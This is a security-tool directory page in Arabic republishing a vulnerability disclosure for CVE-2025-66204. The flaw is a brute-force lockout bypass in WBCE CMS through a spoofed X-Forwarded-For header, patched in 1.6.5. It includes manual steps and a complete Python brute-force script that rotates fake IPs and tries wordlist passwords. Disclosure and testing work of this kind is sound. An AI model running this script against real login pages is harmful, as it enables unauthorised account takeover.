Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-66204 — CVE-2025-66204 - WBCE CMS يسمح بتجاوز حماية القوة الغاشمة باستخدام رأس X-Forwarded-For | Kitploit
أدوات/GitHubGitHub/lukasz-rybak/cve-2025-66204
تحليل الثغرات الأمنيةاستغلال تطبيقات الويباختبار الاختراقالمصادقةالأوراق والأبحاثالتعلم والتعليم
GitHublukasz-rybak/cve-2025-66204

CVE-2025-66204

CVE-2025-66204 - WBCE CMS يسمح بتجاوز حماية القوة الغاشمة باستخدام رأس X-Forwarded-For

عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-66204: WBCE CMS يسمح بتجاوز حماية القوة الغاشمة باستخدام رأس X-Forwarded-For

نظرة عامة

الحقلالتفاصيل
معرف CVECVE-2025-66204
الخطورةMEDIUM
الإشعارعرض الإشعار
اكتشفهLukasz Rybak

المنتجات المتأثرة

  • WBCE/WBCE_CMS

التفاصيل

الملخص

يوجد تجاوز لحماية القوة الغاشمة في WBCE CMS 1.6.4. تقوم آلية تقييد تسجيل الدخول بحظر عنوان IP بعد 5 محاولات تسجيل دخول غير صالحة. ومع ذلك، يثق التطبيق تماماً في رأس X-Forwarded-For دون التحقق منه أو تقييد استخدامه. من خلال تعديل X-Forwarded-For في كل طلب، يمكن للمهاجم إعادة تعيين العداد إلى أجل غير مسمى والحصول على محاولات تخمين كلمة مرور غير محدودة، مما يؤدي فعلياً إلى تجاوز جميع حماية القوة الغاشمة.

التفاصيل

يحدد WBCE CMS عنوان IP الخاص بالعميل باستخدام المنطق التالي:

  1. إذا كان الطلب يحتوي على الرأس X-Forwarded-For، فإن التطبيق يثق في قيمته بشكل أعمى.
  2. وإلا، فإنه يعود إلى REMOTE_ADDR.

على الرغم من أن WBCE لا يعمل خلف وكيل عكسي بشكل افتراضي، إلا أن نقطة نهاية تسجيل الدخول لا تزال تحلل X-Forwarded-For كلما كان موجوداً، حتى لو تمت إضافته يدوياً بواسطة العميل. نظراً لأن التطبيق لا يتحقق من أن الطلب يأتي من وكيل موثوق، يمكن للمهاجم حقن رأس X-Forwarded-For الخاص به مع أي عنوان IP عشوائي.

ينتج عن ذلك:

  • يرسل المهاجم 5 كلمات مرور غير صالحة باستخدام X-Forwarded-For: 10.0.0.1 → يتم حظر عنوان IP هذا
  • يرسل المهاجم الطلب التالي مع X-Forwarded-For: 10.0.0.2 → يُعتبر عنوان IP جديد تماماً
  • يمكن تجاوز حماية القوة الغاشمة إلى أجل غير مسمى

هذا السلوك قابل للتكرار على تثبيت نظيف وافتراضي بدون وكيل عكسي أمام WBCE CMS.

إثبات المفهوم (PoC)

الخطوات

حاول تسجيل الدخول بكلمة مرور خاطئة وأرسل الرأس:

X-Forwarded-For: 10.0.0.10

كرر حتى حدوث الإغلاق (بعد 5 محاولات). صورة

قم بتغيير الرأس إلى:

X-Forwarded-For: 10.0.0.11

يتم إعادة تعيين محاولات تسجيل الدخول والسماح بها مرة أخرى. صورة

قم بالتدوير عبر 10.0.0.x وقم بالهجوم بالقوة الغاشمة دون أي قيود.

نص إثبات المفهوم الآلي

لقد قمت ببناء نص Python يقوم بتنفيذ الهجوم تلقائياً، مع تدوير عناوين IP المزيفة كل أربع محاولات واكتشاف تسجيل الدخول الناجح.

صورة ... صورة صورة

هذا يثبت تجاوزاً كاملاً للحماية.

root@kitploit:~
import requests

# ==========================
#  CONFIGURATION
# ==========================

TARGET_URL = "http://localhost/wbce/admin/login/index.php"
USERNAME = "user"

# Extracted from intercepted login request
USERNAME_FIELDNAME = "username_A9BC72FF1D81"
PASSWORD_FIELDNAME = "password_A9BC72FF1D81"
USERNAME_META_FIELD = "username_fieldname"
PASSWORD_META_FIELD = "password_fieldname"

WORDLIST = "wordlist.txt"

ERROR_STRING = "Loginname or password incorrect"
BLOCK_STRING = "Excessive Invalid Logins"

MAX_ATTEMPTS_PER_IP = 4
SPOOF_IP_BASE = "10.0.0."

# Optional Burp Suite proxy
USE_BURP = False
PROXIES = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080",
}

session = requests.Session()
if USE_BURP:
    session.proxies.update(PROXIES)
    session.verify = False


# ==========================
#  LOGIN REQUEST
# ==========================

def try_login(ip, password):
    """Send one login attempt with spoofed X-Forwarded-For."""
    headers = {
        "X-Forwarded-For": ip,
        "User-Agent": "WBCE-Bruteforce-POC",
    }

    data = {
        USERNAME_META_FIELD: USERNAME_FIELDNAME,
        PASSWORD_META_FIELD: PASSWORD_FIELDNAME,
        USERNAME_FIELDNAME: USERNAME,
        PASSWORD_FIELDNAME: password,
        "url": "",
        "submit": "Login",
    }

    resp = session.post(TARGET_URL, headers=headers, data=data, allow_redirects=True)
    text = resp.text

    failed = ERROR_STRING in text
    blocked = BLOCK_STRING in text
    success = not failed and not blocked

    return success, failed, blocked, resp


# ==========================
#  MAIN ROUTINE
# ==========================

def main():
    print("[*] Loading wordlist...")

    with open(WORDLIST, "r", encoding="utf-8") as f:
        passwords = [p.strip() for p in f if p.strip()]

    print(f"[*] Loaded {len(passwords)} passwords.\n")

    current_ip_counter = 1
    attempts_with_ip = 0

    for attempt_no, password in enumerate(passwords, start=1):
        ip = f"{SPOOF_IP_BASE}{current_ip_counter}"
        success, failed, blocked, resp = try_login(ip, password)

        print(
            f"Attempt {attempt_no:03d} | IP={ip} | pass='{password}' "
            f"| failed={failed} blocked={blocked}"
        )

        if success:
            print("\n[+] SUCCESSFUL LOGIN!")
            print(f"    Username: {USERNAME}")
            print(f"    Password: {password}")
            print(f"    IP used : {ip}")
            return

        attempts_with_ip += 1

        # Switch spoofed IP after lockout threshold
        if attempts_with_ip >= MAX_ATTEMPTS_PER_IP:
            print(f"[*] Switching IP after {MAX_ATTEMPTS_PER_IP} attempts.\n")
            current_ip_counter += 1
            attempts_with_ip = 0

    print("\n[-] Password not found in wordlist.")


if __name__ == "__main__":
    main()

التأثير

  1. هجوم غير محدود بالقوة الغاشمة على أي حساب؛
  2. احتمال اختراق حسابات المسؤول؛
  3. عدم وجود تطبيق لتقييد المعدل؛

المراجع

  • https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-f676-f375-m7mw
  • https://github.com/WBCE/WBCE_CMS/commit/3765baddf27f31bbbea9c0228c452268621b25e5
  • https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.5

إخلاء مسؤولية

تم الكشف عن هذا CVE بمسؤولية وفقاً لممارسات الكشف المنسقة عن الثغرات الأمنية. المعلومات المقدمة هنا هي لأغراض تعليمية ودفاعية فقط.

تنزيل الأداة